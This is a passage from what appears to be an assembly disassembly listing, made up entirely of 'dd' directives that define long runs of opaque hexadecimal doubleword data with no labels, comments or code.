		dd 8450437Dh, 0B86FAD6Dh, 0AA8685D8h, 9114B0C8h, 937F844Ch
		dd 4AF0196h, 182BFF12h,	49C8A0E8h, 963F8712h, 0B4C8F48Eh
		dd 8BC8F9C0h, 276D1125h, 38C1249Fh, 0D48F8311h,	645167A2h
		dd 94590454h, 72803ABEh, 280DE33Eh, 1A0960D1h, 203B2F51h
		dd 55178FACh, 0D878E570h, 88248B4Bh, 0BF21C012h, 0D10BE179h
		dd 826C8F0Eh, 3A1CB84h,	88A06027h, 0ED4E3F33h, 0BF8C481h
		dd 5B84E800h, 0C7289060h, 0A802613Ch, 0B10655A4h, 59640984h
		dd 0D609B483h, 0BE485A90h, 42C0BC02h, 80CA081Dh, 0A8A2F1DCh
		dd 0C387254Ah, 80E4B085h, 0D3338214h, 747C0E95h, 0FAD0AECh
		dd 0B79ED81Dh, 780B6302h, 205CF8EFh, 0C1484D2Fh, 0C06539F4h
		dd 43F11387h, 42A4A0FFh, 8F05140Bh, 0BC60973Ah,	0B90138C6h
		dd 1B26A5B9h, 0BF31D960h, 595F1180h, 0B1C6CBF9h, 51FC9097h
		dd 4CB20088h, 0FA68150Eh, 60B1E783h, 0E819FDD1h, 74BBE5Ch
		dd 0EEAA10D0h, 51EC01E7h, 645571C2h, 77483C0Ch,	14D96180h
		dd 0ACA6A794h, 13158400h, 0C2072B6Ch, 84180A26h, 0A988091h
		dd 0DC48516Ah, 0DA91E04Ch, 0FB2D00F1h, 0BB31906Ch, 142FC7D0h
		dd 1FB08061h, 0DC6F5Dh,	862E6BADh, 5932FED8h, 306100E9h
		dd 81D89EFFh, 0F0297719h, 1843D449h, 0F26C0400h, 205FC6BDh
		dd 65850FABh, 0BE808BAEh, 0BB526B71h, 7AA9C960h, 0E02F1B42h
		dd 0DF7C047Bh, 0EDF2E430h, 0F9EF088Ch, 1B7029Fh, 8CC1B055h
		dd 6BD10B1h, 0C96C3F0Fh, 0C414C826h, 34D0203Fh,	48914087h
		dd 0F060DC94h, 90E90763h, 91D0FC28h, 0EEFDF9F0h, 241CFF18h
		dd 402007DCh, 0E902DFE6h, 4951CE07h, 68CD9733h,	781D9C62h
		dd 8138AC1Dh, 875E2B84h, 9C6F3FF2h, 51298100h, 0DA762337h
		dd 0E3AD0901h, 5F2BBBE0h, 0B81A9824h, 4CAA1800h, 0D4D7B930h
		dd 0B3B72F09h, 4AB00133h, 0A183568Dh, 92213F27h, 874C1809h
		dd 86FC2FA0h, 0A41203Dh, 0FDEEBDBCh, 93BC21C8h,	83D06116h
		dd 23B43DC0h, 136A0182h, 0E6427D6h, 134D7100h, 0E50F27F3h
		dd 9E49h, 0AEE929D0h, 0D641E85h, 52C874Dh, 0BC807898h
		dd 9D008CB7h, 0B9D38F70h, 4848C8EBh, 400CACD0h,	0BA29BEE4h
		dd 72DA5900h, 617343D3h, 7DE20F60h, 0BBE04077h,	0C7508F5Ch
		dd 1856844Fh, 880650D8h, 37ECA490h, 0F23E9C00h,	0BCB84A25h
		dd 48D878B9h, 8B803CBBh, 0FABFFF3Ah, 9331860Fh,	89E38FB3h
		dd 0D0AC53D7h, 2A28157Bh, 0F552E53Ch, 330809FCh, 898F1C3h
		dd 841FC8B3h, 0F01BE407h, 0C4F63BC4h, 0B1E67DB0h, 2538F359h
		dd 11709763h, 0A7F88719h, 0D1067AC0h, 17BAF47Fh, 2518BDD9h
		dd 85448708h, 0C678E440h, 0E4A47E27h, 152E20A4h, 0CA08BF8h
		dd 922004C7h, 880D09A1h, 4C05BE93h, 0F2F4CC7Dh,	0E46F6A00h
		dd 0E7FBB698h, 80780762h, 0E0F352F5h, 6E689BB3h, 0CEA0533Ch
		dd 0B91CC8h, 8AFADAC2h,	0A37B0F88h, 7EB4F800h, 14AC1FBEh
		dd 5E02008Bh, 0ADE4434Bh, 27749F88h, 198AA8C4h,	0F537D607h
		dd 5E64C8A0h, 0BC421141h, 9858F0FBh, 9F6532CCh,	90764031h
		dd 67F500DCh, 16410F02h
		dd 78543153h, 7C92D1BCh, 0E76300A0h, 0C71564BEh, 9489CACh
		dd 0D44A02AEh, 0A8E395D2h, 437B40CCh, 5B59892Dh, 1F0481C7h
		dd 300505D0h, 10B9CE97h, 0D07318D8h, 0CAAF2184h, 1FCDB708h
		dd 0CE5F0847h, 880EC105h, 3C4164ADh, 403C1060h,	60995036h
		dd 186D7B80h, 267C164Eh, 97B46B65h, 785C33F9h, 0B9E7E1h
		dd 0BBBF3D6Dh, 5CE826F0h, 621DFE46h, 0C0A7985Bh, 8A80DD23h
		dd 0A9BC2DF2h, 0FC11F497h, 84059680h, 0B31C88C3h, 728BF219h
		dd 0E38C46Bh, 49148CDCh, 7BE3F780h, 6F7057A8h, 0FC7F3500h
		dd 5DC02A59h, 1B610074h, 0A3B196EDh, 7A5CE58Bh,	6705958h
		dd 2144B655h, 0C0D70279h, 4E50CC7h, 0E2F854F0h,	3CD38809h
		dd 318588Bh, 4E595E76h,	30A05B4Dh, 532C5A20h, 0E908D4A4h
		dd 0E058000Fh, 0C03D069Fh, 0FF47CCBCh, 883F3640h, 71730708h
		dd 0E0A27942h, 7AA4C1Bh, 2230441Fh, 1BADA02h, 4ECC723Ch
		dd 6A0043B8h, 0FDD89A23h, 69001A6Ch, 5E01A878h,	27D9EA9h
		dd 0A784AEC2h, 186088E8h, 4A88CE40h, 0DB5E97h, 0D4118C04h
		dd 0B27229FEh, 0EF90863h, 4C4BA9B4h, 13D18370h,	0B0A34388h
		dd 91005834h, 9E0684C3h, 2CB2FB2h, 0C1AD970Ch, 185A8CC7h
		dd 3E1A8598h, 4B11C9E4h, 0A8B6C018h, 5994075Ah,	50F71DE6h
		dd 3F374B5Dh, 5C08755Fh, 1CD8265Bh, 597D4014h, 6EC34956h
		dd 0AFD24A00h, 47546055h, 0F42C3911h, 8C180076h, 44645C05h
		dd 173A4B43h, 0CAED0C81h, 46211045h, 9A030396h,	6442805h
		dd 7810231h, 0D0A4157h,	463E52Ah, 5753B4C1h, 0C20A1080h
		dd 0F716AE68h, 77F02EECh, 324A600Ch, 3F45315Ch,	0DA00D802h
		dd 0C22EF6D4h, 48E8F71Ch, 0FA9821C0h, 0C097DD7h, 5B3D5E7Fh
		dd 0C8009D19h, 9EC97AB3h, 147D58D5h, 44D21395h,	60866864h
		dd 2306D7F6h, 4B11F4DAh, 0D80E9C00h, 3313CAC5h,	4EFD0A18h
		dd 33AD1h, 0CC74021Ah, 0EAB41F21h, 0C5066F00h, 1D13BF44h
		dd 0C0F7912h, 59322E03h, 0CC3B5251h, 47BA01EEh,	0FA3D6501h
		dd 60F95AC0h, 17585953h, 490233C4h, 15C04879h, 579380C2h
		dd 7A89BC88h, 4F970A01h, 86AC3DCAh, 61535642h, 494AFA30h
		dd 1C57996h, 0DB6C58B7h, 0F05E78A7h, 1163688Ch,	70BED39h
		dd 210595EEh, 206DE35Fh, 802B09A1h, 1C1F5620h, 0F4C78877h
		dd 0A65238FFh, 32B296h,	63787002h, 1750DC4Fh, 1D01EF44h
		dd 5531CE01h, 16E04403h, 7B1100A3h, 0DB2E136Fh,	0A1C061DCh
		dd 1DF53BD7h, 525F7848h, 0F014C88h, 0A596031Ch,	0CFEF0C20h
		dd 1CC35A21h, 67C9DFFBh, 8487FC41h, 46CFEA1Eh, 589601C2h
		dd 85FCA779h, 8F378DC3h, 52564341h, 8048FD11h, 2C3D3189h
		dd 0D1D8CFh, 2DF64E97h,	148701B8h, 58D6DF28h, 26916C01h
		dd 0F6905225h, 0CBC2824h, 2EBB0CE4h, 8225CA11h,	173749Fh
		dd 80B1113Ch, 80C6D13Fh, 9F8D7521h, 3A581D69h, 0BA8EB93Eh
		dd 0A8270BA6h, 783AE0D0h, 0C7385524h, 0D8B6185Eh, 12252F39h
		dd 3707042Eh, 1AF52040h, 1400FAC4h, 0B56A48B2h,	1321D1h
		dd 0A9FED2DCh, 0F7DE5BCCh, 0A5612D00h, 5830EA15h, 63120CE9h
		dd 43495FFCh, 88EF2E0Eh, 41CE81C9h, 89956E0h, 0F91E2138h
		dd 0BDFBD8EFh, 53503E90h, 8B0AD390h, 0A8543D81h, 0E0CE4680h
		dd 0F05D92h, 39FCFFCAh,	69620AC5h, 0C8356630h, 0C0583D2Dh
		dd 0E450D831h, 0E009BB4h, 45E1A9F4h, 0E025E78Bh, 0D5265098h
		dd 800C5490h, 39316739h, 99210107h, 0CF67CC35h,	0F2E5800h
		dd 786D237Eh, 369F0B94h, 2785EB98h, 4B37825Bh, 40443047h
		dd 39372466h, 5BF0792Fh, 73DFB8h, 86846891h, 0D4034479h
		dd 5319FC01h, 30B5C5C4h, 0DC05B184h, 0DD2080D7h, 0DB8012F4h
		dd 92F012C0h, 84C1294h,	0F8C07C44h, 21DA0CD7h, 4691F704h
		dd 0D8108200h, 4FE1962Bh, 5D7B5300h, 69B274D0h,	78296CD6h
		dd 28C6FE8h, 95F61C0Ch,	0B18211Dh, 0D840822Bh, 0D00E931Bh
		dd 0D1C84FAAh, 41B5420Ch, 0DF12ED79h, 0F4087B0Fh, 60298784h
		dd 2823F9A5h, 19074768h, 0D764E251h, 0B6CEE06Fh, 0F2935Dh
		dd 9A45364Fh, 793D8A8Dh, 88C4604Ch, 0D7FBC07Dh,	1C21DA01h
		dd 132560F7h, 0CC0645D8h, 58573D77h, 0DD501419h, 0B3115C18h
		dd 0FAC040E4h, 82165F80h, 4FE74840h, 0B1540174h, 0E904C570h
		dd 1555A610h, 0C988E88Eh, 0E6B3A6C0h, 0C34B0F84h, 7EB295D6h
		dd 90A6023Ch, 0C4264DAh, 0DC60BBB8h, 30A8C0D9h,	358B0BDh
		dd 82A54A78h, 41481568h, 1E10102h, 0F8322439h, 9D8D420h
		dd 40D52B88h, 6065FC04h, 2382EF48h, 3A115EC9h, 0EF001C3Fh
		dd 0F22D8932h, 0E20AC685h, 4C5EDBDAh, 0E9152E01h, 0DDF0CD46h
		dd 0C804B293h, 2FC06468h, 46C987EFh, 392286h, 81EF8521h
		dd 0A18C7B8Bh, 60090E7Ch, 3D140ADh, 99BED730h, 9C229CA9h
		dd 0F4008023h, 0E4DA10D7h, 494486F6h, 0D80C009Eh, 76781D73h
		dd 0FDE04596h, 38852638h, 3CF08B8Eh, 0C7198049h, 60FA1507h
		dd 0BE299950h, 0DC00649Ch, 0E24291ABh, 0E8884CDh, 3C7B40AAh
		dd 1088C50Ah, 0D5B6854Fh, 0DE28D44Fh, 1140D19Fh, 0E196FEDh
		dd 15450AFCh, 40F86895h, 49D8B717h, 0C900C479h,	186589FDh
		dd 4C1B56h, 4E9F4650h, 0BBC7D707h, 4C0DE424h, 32F483C7h
		dd 4C6202C5h, 8B1820CDh, 7972A19Fh, 784883Dh, 75B539C7h
		dd 436863h, 87F68381h, 0CA9D224Fh, 249EB700h, 0DAC48621h
		dd 0D96060D2h, 5BB343F5h, 0C77BC183h, 34506D30h, 8249EEDFh
		dd 552031ECh, 9C0820h, 24351D5Dh, 0BC8EFDCEh, 463B6A76h
		dd 45EE0409h, 0C480E908h, 3D3F9931h, 0C6801113h, 548714E7h
		dd 409BB33Dh, 0FCCDD40Ah, 0F5804B11h, 0ECDA0FD7h, 9BC7DCB9h
		dd 0D6FCD830h, 0DB3202F2h, 0D7DF6E9Fh, 5515D0A0h, 2400165Ah
		dd 83301E8h, 4071C2h, 2F25EB97h, 68731CB5h, 5211E38h, 54CE5D39h
		dd 3072A0C2h, 0F9131C01h, 0B0381595h, 1B65004Ch, 0ED5EF7D9h
		dd 0DA0C02A1h, 411AC44Fh, 3EAA3142h, 860185B1h,	0DBB45E69h
		dd 4CEF00A9h, 0B2C2D4E3h, 8373E71Eh, 29108405h,	2C9458FAh
		dd 212494C2h, 747D2DFh,	340268C5h, 0F67B3121h, 0DDD30FDCh
		dd 5084EDC9h, 52B49825h, 94408C4Ah, 92F9880Ah, 15F1F38h
		dd 0D5DEC19Ah, 6354D229h, 0AC2D2814h, 8CBEDA0Bh, 92A8461h
		dd 80210C84h, 518023B4h, 60E3E25h, 3B006667h, 54E611C0h
		dd 3EC1A1Ch, 79D64F8Ch,	59004269h, 7CCDD738h, 9E4987h
		dd 1B985A2Bh, 6217E003h, 0B891C909h, 22D880A5h,	0C544DC50h
		dd 41E0B439h, 7501439Ch, 71460C2h, 5BC04200h, 5EECBC98h
		dd 74DF506Dh, 10AB0143h, 0F0C3C80Fh, 92182CBFh,	47C8148Bh
		dd 61ED4EC0h, 43C0380h,	563D2C69h, 8C532100h, 82EAC0C6h
		dd 0CCD603BEh, 366EFB40h, 0F041D882h, 2C301913h, 0EC5D4844h
		dd 6AB03C4Ch, 0C4E89E94h, 2BA1C807h, 4402EE22h,	24804459h
		dd 800452FAh, 4AF0193Bh, 0EE0AC1CBh, 0F1C59551h, 0AED06F03h
		dd 42D7FAA5h, 80FC6900h, 6C64FA12h, 0FB2B5007h,	0CB3318DCh
		dd 7520C7CDh, 2F044ADh,	6C2CA18Eh, 2C46174Eh, 42355209h
		dd 0CFEC4D63h, 0F2F41BE0h, 0AC1AB33Bh, 60892BF9h, 86FD212Ch
		dd 86EF4404h, 34627EC9h, 0EFC02027h, 1A77485h, 71BF36ABh
		dd 0FCFF59F0h, 40601629h, 0EA3E6329h, 989B01D1h, 0E9C658B9h
		dd 0D53025C0h, 0BB88505Dh, 110EF4EDh, 81BED66Eh, 0BD89C635h
		dd 8C6B2980h, 0D8C8922Ch, 0E4398F01h, 56FF5E41h, 588CD4D3h
		dd 74C6F83Bh
		dd 11E1212h, 143832C0h,	31607C60h, 0C044FA88h, 2F6F75A1h
		dd 0CF0037AFh, 0D69794BEh, 1DC69960h, 0A0DC3CD2h, 85118C00h
		dd 2EC78808h, 0FD4900CEh, 0F995668Dh, 7C61B543h, 581A5029h
		dd 7C7B5BF0h, 1323023Ah, 0FBDDDB52h, 2FC62868h,	0F75BA20Eh
		dd 0EFD8C7F6h, 3CD13340h, 3FD4E209h, 6B81F257h,	20A61634h
		dd 81BED143h, 19AE2908h, 88C55763h, 475C3080h, 45CE815Eh
		dd 2DDBDE0Fh, 0E99100D7h, 34F48D1h, 51686E2Fh, 4EABF374h
		dd 2D801001h, 0EA53DEE5h, 7C650D4h, 1F5B5816h, 28463F7h
		dd 9EA00DDBh, 2C052A14h, 0E004DFA3h, 16569C04h,	957CCCh
		dd 91E6A1F4h, 4476D8C2h, 64405896h, 0EDEAAFh, 711DBF5Bh
		dd 0A9F62F5Eh, 3567A41Ah, 1ACC640h, 1A445B78h, 209EC30Fh
		dd 1F9CC98h, 82145852h,	882F1844h, 0D43EBEB4h, 29A8D87h
		dd 742160E2h, 9C987EEBh, 3978300h, 0D1A6E1C5h, 0CCA5854h
		dd 6F4052C8h, 1D038DF7h, 0D218505Dh, 0A00C20FCh, 1600EB9Fh
		dd 30D25931h, 4C53BE4Ch, 2D22E455h, 899FB80Bh, 5090800Bh
		dd 0C0405D42h, 0D1A27B59h, 687FDB43h, 0DFD7C306h, 91C834B5h
		dd 21BF03E0h, 710098FAh, 0F426E2B9h, 7BF2F3EEh,	3FA3E6D7h
		dd 0AE1685AAh, 0D5440481h, 4AC044E4h, 51E0E04Eh, 3D50A1BDh
		dd 3B81D160h, 197385Bh,	67E2A0FEh, 0C85AB8FBh, 493BFD03h
		dd 1D0B0194h, 0BDB0F364h, 6396920h, 1AAEE376h, 660118F7h
		dd 0A9836A7h, 0B3F0AB46h, 0C68580F6h, 1C559601h, 170F182Dh
		dd 1A274ECh, 7671D329h,	8383C15Bh, 7B4BBC58h, 69E6BEh
		dd 48DB4AF6h, 9C74A3D2h, 0A2F13Ah, 1F3771EEh, 225C449Bh
		dd 0B100A8CBh, 574B3DC3h, 0B53095h, 3A3B7B7Ah, 0BDE5494Eh
		dd 98434700h, 1E9FB301h, 0F860C3F4h, 0B4E031FAh, 2601D951h
		dd 10703C49h, 7181CF11h, 0A1C7D57Eh, 0FC7CC174h, 0E30027FBh
		dd 72F85F99h, 0B36390h,	368F675h, 16BD2218h, 0B985F500h
		dd 0A07981AAh, 0B7BA043Dh, 0C05651DCh, 335ACFC1h, 3B68CE0Bh
		dd 613F806Ch, 0AAC626h,	0C38C76F1h, 0B58A4413h,	9E045303h
		dd 0E77E2BBCh, 2CA188Ch, 0B62C23F4h, 20B63212h,	9A650A10h
		dd 0B67B6D07h, 0F9BB4314h, 8D9F2DA0h, 8F849E38h, 806AFA6Fh
		dd 0C93C8709h, 0DA5D00EAh, 0F02882C6h, 1443B9DBh, 0BAF9819Bh
		dd 14200439h, 0F70B045h, 0D3CF415Ch, 0FCDE2480h, 8000BF57h
		dd 8444C8F9h, 15376BEh,	12F56D7Fh, 5617AA0Bh, 54540834h
		dd 1E23EE80h, 0A01F5A8Dh, 59B28138h, 48D39C1Fh,	0A350130h
		dd 19CD52D7h, 182B0AE8h, 2018FC04h, 0BD50BBC5h,	0F40C00FEh
		dd 0CADC9708h, 313B2B81h, 0D02A00D2h, 9D59FA1Fh, 2BD0CF6h
		dd 0F028F3FBh, 89D5F684h, 84E708E6h, 22C54422h,	8222D68Dh
		dd 9733258h, 14859879h,	0E2804B2h, 6204656h, 112C4229h
		dd 0AA11DFA7h, 4C81155h, 39C48010h, 32DC0054h, 6E1539B1h
		dd 17DB3F46h, 0BD0E6194h, 0C162F403h, 0A298A369h, 1000A048h
		dd 9F2A9B71h, 8FF54Ch, 0A65ABF6Bh, 213331B0h, 7F5C6C04h
		dd 3CC349D1h, 836E8DDh,	0E8E00067h, 15FD96C9h, 0AA00CB1Ah
		dd 7C3E201Ch, 0A4AE3Fh,	50B38902h, 65513181h, 0D065877h
		dd 2C03D19Eh, 3867009Ah, 0A75C5ADBh, 54002371h,	3CCB79BDh
		dd 2458556h, 4E984C7Ch,	49E35E46h, 0E08AE2E1h, 42005188h
		dd 97CA949Ch, 0EFDC04h,	490A2ED8h, 239FF380h, 0AD85E31Dh
		dd 8118900h, 184DE2CEh,	108662FCh, 797EC3F6h, 0D6C73A00h
		dd 7883C8ADh, 0A4773EECh, 0E4DF1683h, 19F8A920h, 80CA4FD4h
		dd 6700C111h, 0B2CC4842h, 27C300A2h, 0E22B9B9Ah, 6901C0F8h
		dd 0C143C5A6h, 0E0C0CB86h, 6FC2009Dh, 4E5D14A5h, 0FE00DBC0h
		dd 189C1E53h, 1C1BE89Fh, 40CFDF64h, 0F5D3E5FBh,	0AB7D73BBh
		dd 8145B0Eh, 0E906608Dh, 7A1B03AAh, 3F720245h, 5D935A6Ah
		dd 4788DDE0h, 13BD6E0Ch, 24256049h, 78913Ah, 0F38945Ch
		dd 4600332Fh, 0B39C669Ah, 125D28Eh, 0BAF28524h,	9FCEEB62h
		dd 0F6C0B010h, 0BBB42B49h, 56CD19DBh, 50D4488Ah, 0D1456154h
		dd 710054E6h, 5D5FFB0Eh, 8E8B3Bh, 68E71483h, 1D90F54Fh
		dd 4AA2D200h, 0A1B17AF4h, 8CB00058h, 0ADA8AC75h, 5A0004BCh
		dd 1B602C4Fh, 1E79C73Ch, 0C0339311h, 0FC180695h, 0B900F4B1h
		dd 6AAEA840h, 73D53A5Eh, 0EE75386Dh, 0F4B20A85h, 66FE004Ch
		dd 539E455Dh, 0F93E507h, 86907E7Ah, 90FD91h, 0D6CF602Dh
		dd 0AD266D3Fh, 8755F70Ch, 5B4419h, 0CB85F6EDh, 68C5EF60h
		dd 6DA82A00h, 4187AA80h, 0DF820079h, 0ABF10C21h, 0BC072760h
		dd 6BF0B29Ch, 1C902090h, 0BF771EC7h, 0AE10B381h, 3C296880h
		dd 0A8BA1801h, 62A016D8h, 0DCEFD8h, 0D6252C31h,	0AD75EA86h
		dd 3D7F1500h, 2BA1680Ch, 9A7D04CEh, 8002D98Bh, 2F375D10h
		dd 5E441F00h, 0F18AB606h, 510E0090h, 3F325794h,	0B907F242h
		dd 0E2FBD3F9h, 0AA9901D0h, 4D5D0777h, 0E08F6327h, 60EB290Ch
		dd 3800217Dh, 675602FBh, 0B617E3h, 9F8BCFA7h, 0CA78821Ah
		dd 0FD00277Fh, 44AE3E62h, 76040A83h, 948F13AAh,	4241B043h
		dd 487FA300h, 35C10F9Bh, 8170E3Ch, 9D802DE0h, 771BFE67h
		dd 7A960E00h, 55F94C90h, 30787D81h, 7111B3ADh, 3801E880h
		dd 107B5150h, 3160287Dh, 845800C5h, 0FEA5E0ACh,	6F02A93Fh
		dd 9FE995E6h, 0CE934083h, 0AF3A00FAh, 0C5A2FECDh, 0E00FF23h
		dd 858CCAD7h, 4DC126F1h, 3D00F8CBh, 0A2CF1BE5h,	6303242Ah
		dd 0F1FFD50Ch, 0D7C000A0h, 0C15FE044h, 19E288B6h, 11F8ECF1h
		dd 90F0C700h, 9FD99825h, 2B3F0089h, 5C02675Dh, 0DC1E7655h
		dd 8583FD35h, 0D8154A7Eh, 4D7CACh, 60E52D45h, 4213DC1Fh
		dd 203A8490h, 31438072h, 242D1BC5h, 8F78E6h, 54941041h
		dd 0D644789Ch, 80B66A3Dh, 0FC98A84h, 93D8C0Dh, 20C43285h
		dd 253FA200h, 903F95B9h, 0F0FA0052h, 7FED76DAh,	45CE022Ah
		dd 1DA2B0A5h, 0F8991C41h, 1E004077h, 0A1D91262h, 2CCE4h
		dd 47E9D82Dh, 5DEE76FBh, 165B7F12h, 0AF468407h,	0E9A8D450h
		dd 1ABE1D80h, 0F7244503h, 6A16C19Ch, 0CB1C20FDh, 0B549F0B0h
		dd 4B60001Ch, 491DF08Ah, 0F8EC0AAh, 3BFA1986h, 4669E0Eh
		dd 0FFCFC021h, 0A3CEB9B6h, 8AF8D888h, 0A9C406D6h, 19B3BCFCh
		dd 6512C000h, 0B187ED05h, 0FBE50398h, 67F8377Ch, 0F0016F99h
		dd 6B00FDAAh, 12E75053h, 98D1321Bh, 1196079Ch, 10AF904Ch
		dd 1BD1A2Eh, 8AB9CC00h,	0D1170E75h, 504509D4h, 0E480B4DAh
		dd 0A5F8D967h, 79063600h, 0E03A5D44h, 545A00EFh, 2C094C78h
		dd 6B507DBBh, 4A0056C7h, 7BB21766h, 558ED5Eh, 4D7F63E0h
		dd 675FC008h, 0E2005BF3h, 681069FFh, 0A60945Ah,	8BA33B2h
		dd 38100C8h, 0AAE17B30h, 8ED06A0Ah, 0F400BE4Bh,	0E27E2120h
		dd 946600BEh, 0F9AF1747h, 87039DB2h, 181755Fh, 0DBD3B048h
		dd 0FAD1403h, 2D148B55h, 0E7AC8FCh, 0B1DD1A40h,	8D20F02Fh
		dd 0E4ADB7D0h, 0D7198900h, 0A598BDE9h, 1EB06Dh,	0EE66EB58h
		dd 0D9D3D09Fh, 77876F1Ch, 0E678E382h, 0C338C0FCh, 309B00Dh
		dd 0A670BAF4h, 20C83992h, 5100479Dh, 0DD5F09F6h, 1DF4BC99h
		dd 0C0584315h, 1E7ABE59h, 0B6E864EAh, 44C04103h, 0B08FEB9Ch
		dd 4E91F3h, 6DC7189Dh, 0ADED3614h, 135AE207h, 0FF2094E4h
		dd 368523Ch, 9178DCDBh,	1BE8C963h, 36043BF5h, 3C7970A8h
		dd 3950B287h, 0E7204Ch,	60C2E2CDh, 8DB59AC9h, 826E161Eh
		dd 55F6B680h, 0FEAAD8h
		dd 960A7C9Bh, 76E4438Bh, 0E59D5400h, 447BA742h,	0BC88001Fh
		dd 27ABE174h, 8600C98Dh, 1231D926h, 0E4E2A051h,	0D2FAFBh
		dd 388992CCh, 182841ECh, 0A18EF51Bh, 70A6E05Ah,	0D1A40026h
		dd 0C922EAFAh, 0ED009721h, 5520B4ABh, 0D0BBC1Fh, 0C31014E3h
		dd 0E58530B1h, 0C509BE00h, 6295381Ah, 0FA8602E8h, 47509B08h
		dd 6718DCC4h, 28188C61h, 4B202E34h, 0A0C900D0h,	0AB6DBE6Ah
		dd 7DF2B700h, 0CDA8BFDAh, 2ECE0055h, 28A78EDEh,	9714FF5h
		dd 3829CC00h, 8FAF119Dh, 17D75EAh, 60D62EC9h, 20D93E30h
		dd 545C8BE5h, 0C0772E1Ch, 0F57ED180h, 0E278E8F1h, 0AE83001Fh
		dd 7C942F03h, 71730CA1h, 0C1A38712h, 5860B100h,	0D62CFCh
		dd 3D9F802Eh, 501929C6h, 614A4102h, 40A9D17Fh, 7E5A450h
		dd 1AB66C7h, 0C818C95Dh, 90061054h, 0E7704A0Ch,	469A3FF9h
		dd 0D22DB407h, 0C74545FFh, 9D3A5064h, 6103862Ch, 24049998h
		dd 0AB2FA934h, 0D95A3980h, 0DBD8440h, 586D2900h, 0F1EFAC8Bh
		dd 20160044h, 47D76834h, 73013F76h, 2B15E670h, 0DBC0DFC6h
		dd 587B007Ah, 4875F84Ch, 80B8E2EDh, 868A0205h, 0BCC02D20h
		dd 9D903Ch, 0EC71347Bh,	0F910764Bh, 102248h, 0A43A0F1Eh
		dd 6017E2h, 0FD41B4F6h,	51B932BAh, 50FE6131h, 6DF4DDF2h
		dd 0E0A4EAF5h, 0D9B10033h, 731CA20Ah, 5401236Eh, 72AAE8ADh
		dd 0D8848778h, 0A217402Bh, 3507C01Ch, 168292A7h, 5AFF99h
		dd 0ACAA34B4h, 2D0101EAh, 5FF770F8h, 93FCDED1h,	974A036Ah
		dd 0F69D0827h, 3AC61801h, 49EE69D4h, 32E5D6C0h,	68D09BADh
		dd 820000E4h, 7A80C26Dh, 2890FB15h, 0A0C83F8Fh,	8449B8h
		dd 0BA7FE983h, 0A348FDAEh, 0D086DF0Ch, 0F2D460ECh, 639A0BE7h
		dd 1CA05B21h, 0AD291C75h, 103F2630h, 71C17AE5h,	24E801DEh
		dd 5004B7BEh, 464CD0BAh, 0F08EC716h, 0B2B0FC02h, 0F8F4C0F7h
		dd 1FBD7BCAh, 43DAE6EEh, 34493E99h, 0FCC27CB8h,	0EB3F8400h
		dd 9047ECC3h, 755B0009h, 4291CC8Dh, 8CE216DFh, 82C470E7h
		dd 17905F90h, 0C92C0300h, 0ACB3F0EDh, 575A3EB9h, 0FEE34A80h
		dd 0AF03BCFDh, 3F959B4Ch, 3019B0A5h, 0A32262h, 647C7454h
		dd 0CAF5C94Ch, 0EF5C4B90h, 980D28BEh, 708B433Eh, 0ADFEB970h
		dd 0F4B07C00h, 5898C30Bh, 106069EEh, 9E814420h,	0DB00C920h
		dd 82D0CAB1h, 7FC25A1h,	0F7E404C1h, 0CD2470F1h,	0CB390BC8h
		dd 0F3BA802Dh, 0BC26109Ah, 0FA36073Fh, 0FA4093EEh, 4EE700E4h
		dd 9022D9F4h, 71FE3Bh, 8898396h, 287A919h, 24AEB6BAh, 0C604C0Ch
		dd 45105F77h, 1715BD7h,	0C54238B4h, 701DE5F2h, 0AB145E06h
		dd 4CB1E274h, 9ED0095h,	0ACF46D65h, 0CD233FB5h,	28E90C80h
		dd 9B2C32DAh, 0F5AB0101h, 36355B6Dh, 9D0060CEh,	0F1520002h
		dd 332AC99Eh, 4D009186h, 46C8C2A1h, 505D23h, 0F3420739h
		dd 614C5C7Dh, 0B704748h, 862F9257h, 104D6Ch, 0CDF0FC2Ah
		dd 372B48A8h, 7791E2Dh,	0BECB3508h, 4B777FCh, 5C2890F1h
		dd 0D5EBC240h, 3243EC80h, 505C1DDAh, 2AE0054h, 0D4227BB0h
		dd 0B1DF0179h, 0C4E3B6F7h, 51F04023h, 390EAB9Eh, 802D1147h
		dd 566448E7h, 18330309h, 1AA00825h, 0AD705800h,	31869C20h
		dd 6D3200A6h, 2DD81FD4h, 0A0B0816h, 80A71A18h, 0DDF483EBh
		dd 1DA9003Fh, 0E1E48A1h, 0C00716Ah, 0D144D420h,	2C318E61h
		dd 0EC0ECh, 5D5732CFh, 0B4008CACh, 0FD23C1EEh, 13F687DAh
		dd 0CF4AD92h, 1536C70Ch, 0B3CE3801h, 63C41DCCh,	0E0791420h
		dd 7FE3079Ch, 783302h, 8EA26C85h, 0E788F700h, 7C8F1658h
		dd 36BB005Fh, 0D0316551h, 8CFEB3F6h, 7F9E600Bh,	0BD5CA1A2h
		dd 8621E5E4h, 0B5305861h, 0A7DF0562h, 0D0FDA6BAh, 71ACCC54h
		dd 657DCA02h, 60DD7549h, 57A070h, 334DB911h, 812D438Dh
		dd 0DDC4E4F9h, 0C0C739CEh, 4B97DF2Ch, 0E9A200A0h, 43213984h
		dd 0D209454Ch, 3A38EFh,	63A52C0Ch, 0DF061CADh, 24260018h
		dd 0C59DB8B4h, 3C4E4Ch,	4FEA4FDh, 0EDE61Ch, 2223576Eh
		dd 5D0BEA56h, 0C6592900h, 3BB9358h, 8DDD0035h, 5AFCE4D3h
		dd 2800AF81h, 59FD660Bh, 71BF799Ch, 0BD3B03CAh,	188CB431h
		dd 60F61DA1h, 0C4004BF7h, 4858136Fh, 7BABFF45h,	364F0199h
		dd 4AD3127Eh, 4E308E8Eh, 0EE0D60A6h, 5D3F40h, 2770E069h
		dd 85F694A8h, 1443D54Ah, 907A9F61h, 48D88247h, 0E40050D6h
		dd 777B5D79h, 93045526h, 5BE7964Eh, 5B938A4h, 4C8F9569h
		dd 9EC4C084h, 0A858D019h, 146C00A4h, 52D4920h, 0BCA4026Dh
		dd 7AB513FDh, 0B1D4A080h, 81727CC5h, 5D831E14h,	940973B0h
		dd 1DDF8CAh, 5A7DD9A2h,	79D022h, 73E2EC1Ch, 0FF501869h
		dd 4004CFEh, 765DD3B4h,	80A6E8h, 0AEF4B340h, 0D77F4427h
		dd 67419A0Bh, 4A908043h, 3BB9ABA1h, 12001F6Fh, 7EAE428Ch
		dd 1BFAB87Fh, 2700E876h, 0D70BAC83h, 906901ADh,	1FFA2817h
		dd 0CD1B1ECEh, 575D0089h, 35DD308Bh, 7800FB90h,	0E85ABF04h
		dd 0FD178Eh, 67733BE7h,	0FAF1814Ch, 3E19481Dh, 0B0238C00h
